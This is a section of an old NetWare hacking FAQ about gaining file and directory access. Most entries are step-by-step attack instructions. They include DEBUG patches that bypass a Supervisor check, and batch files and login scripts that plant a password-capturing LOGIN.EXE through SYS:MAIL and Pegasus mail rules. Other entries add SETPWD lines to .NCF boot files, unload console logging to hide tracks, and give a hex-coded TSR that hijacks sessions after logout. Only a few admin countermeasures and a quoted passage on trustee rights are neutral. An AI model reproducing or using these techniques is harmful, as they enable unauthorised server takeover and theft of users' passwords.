--------------------------------------------------------------------------- Section 05 File and Directory Access --------------------------------------------------------------------------- 05-1. How can I see hidden files and directories? Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files. --------------------------------------------------------------------------- 05-2. How do I defeat the execute-only flag? If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location. Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But once again X-AWAY.EXE requires Supervisor access. To disable the check for Supe access in X-AWAY, try the following: REN X-AWAY.EXE WORK DEBUG WORK EB84 EB W Q REN WORK X-AWAY.EXE Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged file resides. --------------------------------------------------------------------------- 05-3. How can I hide my presence after altering files? The best way is to use Filer. Here are the steps for removing file alterations - - Run Filer or use NDIR and note the attributes of the target file, namely the date and owner of the file. - Make your changes or access the file. - Run Filer or use NDIR and check to see if the attributes have changed. If so, change them back to the original settings. While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information. View and edit to your heart's desire. --------------------------------------------------------------------------- 05-4. What is a Netware-aware trojan? A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work. - Trojan program is placed on a workstation, hopefully on one frequented by admins with Supe rights. The trojan program could be named something like CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension. They would be placed in the workstation's path. - Once executed, the trojan uses API calls to determine if the person is logged in as a Supe equivalent, if not it goes to the next step. Otherwise some type of action to breach security is performed. - The real CHKVOL.EXE or VOLINFO.EXE is ran. The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST. Once activated the trojan could also erase itself since it is no longer needed. --------------------------------------------------------------------------- 05-5. What are Trustee Directory Assignments? The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every subdirectory below it (unless explicitly limited in a subdirectory down stream). And these assignments are not located in the bindery, but on each volume. The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the comp.os.netware.security FAQ: [quote] A trustee is any user or group that has been granted access rights in a directory. The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3. The following is a summary of access rights for NetWare 3. S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access right in every directory. R - Read. Enables users to read files. C - Create. Enables users to create files and directories. Unless they also have write access, they will not be able to edit files which have been created. W - Write. Enables users to make changes to files. Unless they also have create access, they may not be able to edit files, since the write operation can only be used to extend files (not truncate them, which file editors need to do). E - Erase. Enable users to erase files and remove directories. M - Modify. Enable users to modify file attributes. F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing. A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to remove themselves (as trustees) from directories, thus losing all access control. In addition to trustees and access rights, there is a concept of inherited rights which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the rights of the parent. [end quote] --------------------------------------------------------------------------- 05-6. Are there any default Trustee Assignments that can be exploited? Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it: Trick #1 -------- - Login as GUEST and change to the SYS:MAIL subdirectory. - Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043) - Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed. - Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043 - Create a batch file (ex. here is BOMB.BAT) with the following entries: @ECHO OFF FLAG \LOGIN\LOGIN.EXE N > NUL COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL FLAG \LOGIN\LOGIN.EXE SRO > NUL \MAIL\C0003043\PROP -C > NUL - Create a LOGIN file with the following entries: MAP DISPLAY OFF MAP ERRORS OFF MAP G:=SYS: DRIVE G: COMMAND /C #\MAIL\1\BOMB DRIVE F: MAP DELETE G: - Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to the SYS: volume. TYPE BOMB.BAT > \MAIL\1\BOMB.BAT TYPE LOGIN > \MAIL\1\LOGIN - The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the passwords, and then once you have all the passwords you need (including Supervisor) delete your LOGIN and BOMB.BAT file. Admins can defeat this by creating default personal Login Scripts or by adding an EXIT command to the end of the System Login Script. Later versions of Netware create a zero-length LOGIN file at ID creation time in the SYS:MAIL directories to defeat this. Trick #2 -------- Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how to use it: - Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a mail message. The program Run line should be something like: COMMAND /C F:\MAIL\1\BOMB.BAT - Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE (the itsme version) to that directory. - Your BOMB.BAT file should be like this: @ECHO OFF FLAG \LOGIN\LOGIN.EXE N > NUL COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL FLAG \LOGIN\LOGIN.EXE SRO > NUL \MAIL\C0003043\PROP -C > NUL - When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing passwords. After acquiring a Supe equiv account, delete the rogue files from SYS:MAIL\1 This Pegasus mail problem will only work if the RULES.PMQ does not exist in the target directory. Trick #2a --------- If the RULES.PMQ file exists, obviously you cannot do this. After all, you can only create new files to these directories. But here's a way to try and trick the Supe into deleting it for you: - Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through RULER.PMQ, and RULET.PMQ through RULEZ.PMQ. - Next time the Supe logs in and accesses mail, errors. - The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed. - Now do Trick #2 --------------------------------------------------------------------------- 05-7. What are some general ways to exploit Trustee Rights? To find out all your trustee rights, use the WHOAMI /R command. The following section is a summary of what rights to expect, and the purpose. Where x appears, it means it doesn't matter if the right is set. [SRWCEMFA] means you have FULL rights. They are all eight of the effective rights flags. [Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent). It means you have full access in that directory and all subdirectories. You cannot be excluded from any directory, even if a user explicitly tries to revoke your access in a subdirectory. [xxxxxxxA] is next best thing to the S right. It means you have access control in that directory and all subdirectories. You can have your access control (along with any other rights) revoked in a subdirectory, but you can always use inherited rights to recover them (see the c.o.n.s FAQ). [ R F ] is what users should have in directories containing software. You have the right to read files only. [ RCWEMFx] is what users should have in their home directory. You can read, create, and edit files. If you find any unusual directories with these rights, they can also be used for storing files (maybe an abuse of the network, especially if this is exploited to avoid quota systems). [ RxW F ] usually means that the directory is used for keeping log files. Unless you have the C right, it may not be possible to edit files in this directory. The RIGHTS commands tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights. --------------------------------------------------------------------------- 05-8. Can access to .NCF files help me? Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system. The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 04-2 is another potential target. The lines you might add to such a file might be as follows: UNLOAD CONLOG LOAD SETPWD SUPERVISOR SECRET CLS LOAD CONLOG This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen. The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution. --------------------------------------------------------------------------- 05-9. Can someone think they've logged out and I walk up and take over? Yes. Here's how - Type the following commands at the DOS prompt (or rip them out of this file, and feed them into DOS debug). debug boo.com e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74 e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06 e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00 rcx 50 w q Just run it on a workstation running NetWare 2.x or 3.x, and wait for someone to login, use the machine, logout, and walk away. Oops. They forgot to logout? Now, isn't that just *bad* luck... Moral: If you are using a public network (such as a school or university), don't just use LOGOUT. Switch the machine OFF. --------------------------------------------------------------------------- 05-10. What other Novell and third party programs have holes that give "too much access"? Netware NFS has several bugs (see Section 07-6), as does IntraNetware (see section 12). For remote access, hackers always want a Shiva hooked up. You see, if a hacker gets a name from the internal name list, they may not need a user ID and password for a Novell server. If a Shiva user disconnects without logging out, the next person in will be in as that person -- Shiva doesn't drop the connection! --------------------------------------------------------------------------- 05-11. How can I get around disk space requirements? Some admins forget to implement disk space restrictions on some volumes, but give write access to everyone. This allows you to use more resources than the supe intended. Some systems keep user's home directories on one volume, and only restrict disk space on that one volume. Applications and system files will be kept on other volumes. Since some applications require write access to their directories, if the volume space is not limited, any user capable of running the program can use the extra disk space available (an e-mail program like Microsoft Mail on it's own volume leaps to mind). If space isn't limited on SYS, on 3.x there is the SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object ID), but this is not there by default in 4.x. However if Pegasus mail is being used, or if the server was migrated from 3.x to 4.x, the directory structure and access may be the same. ---------------------------------------------------------------------------